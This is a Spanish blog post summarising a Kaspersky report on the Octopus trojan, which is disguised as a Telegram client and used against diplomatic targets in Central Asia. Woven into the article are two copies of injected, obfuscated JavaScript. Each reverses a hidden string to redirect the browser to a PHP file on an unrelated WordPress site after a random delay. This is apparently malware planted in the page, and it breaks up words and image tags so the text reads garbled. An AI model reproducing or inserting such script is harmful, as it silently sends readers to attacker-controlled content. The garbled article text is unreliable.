Telegram para infectar a los objetivos diplomáticos en toda Asia
El troyano Octopus usa el miedo sobre la prohibición de El troyano Octopus usa el miedo sobre la prohibición de Telegram para infectar a los objetivos diplomáticos en toda Asia
Investigadores de seguridad descubrieron el troyano Octopus debido a una ola de ataques cibernéticos que se lanzaron contra entidades diplomáticas en Asia central.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>topus-malware.jpg” width=”1366″ height=”732″ /></p>
<p>Kaspersky Lab fue la empresa de seguridad que descubrió la campaña ha utilizado la reciente prohibición de Telegram en <script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
toda Rusia para hacer creer sobre los intentos de prohibir el servicio en algunas áreas soviéticas como Kazajistán para engañar a las víctimas y hacerles creer que están bajando una versión de Telegram que evita la censura y que es real.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>topus.png” width=”675″ height=”481″ /><br />
Troyano Oc<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
topus disfrazado de Telegram
Este troyano principalmente se enfoca a ordenadores con Windows. No se descarta que en el futuro aparezcan variantes para Linux.
El troyano se disfraza de Telegram
Este Troyano se intenta hacer pasar por un cliente de escritorio de Telegram legítimo, pero en lo que hace realmente es darle al atacante una vía para tener acceso remoto para secuestrar el ordenador víctimas. Además usa el símbolo de un reconocido partido político.
Kaspersky Lab cree que la nueva campaña puede tener vínculos con el grupo de amenazas de habla rusa DustSquad, que ha estado activo en todo el centro de Asia desde 2014.
“Hemos visto muchos actores de amenazas dirigidos a entidades diplomáticas en Asia central en 2018″, dijo Denis Legezo, investigador de seguridad en Kaspersky Lab. “DustSquad ha estado trabajando en la región durante varios años y podría ser el grupo detrás de esta nueva amenaza. Aparentemente, el interés en los asuntos cibernéticos de esta región está creciendo constantemente.
Una inusual elección de bibliotecas por parte de DustSquaf
DustSquad es inusual en su elección de programación para el troyano Octopus, haciendo uso de Delphi y bibliotecas de terceros, como el proyecto Indy para comunicaciones de servidor de comando y control (C2) basadas en JSON y “TurboPower Abbrevia” para aportar las capacidades de compresión.
El troyano Octopus está empaquetado en un archivo denominado DVK. Traducido vendrían siendo “Elección Democrática de Kazajstán”.
Ese archivo se disfraza como una variante de Telegram creado para los partidos de oposición de Kazajstán en Kazajstán.
El país amenazó a prohibir Telegram en abril, a menos que la compañía aceptara eliminar todo el contenido producido en la plataforma por DVK.
Funcionamiento de Octopus
Una vez se activo Octopus puedes realizar tareas que incluyen el robo y la eliminación de datos, habilitar el acceso a una puerta trasera y realizar tareas de vigilancia. Para evitar parecer un software malicioso no se incluyen características de correo o comunicaciones.
La persistencia se logra a través del registro del sistema de una manera simple, y el servidor, el alojamiento comercial con scripts .PHP y las direcciones IP codificadas.
Los investigadores no están seguros de cómo se está propagando este malware, pero dado que el software malicioso está dirigido a organizaciones políticas y diplomáticas específicas, es probable que la ingeniería social juegue un papel importante en la operación.
Fuente: Securelist
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.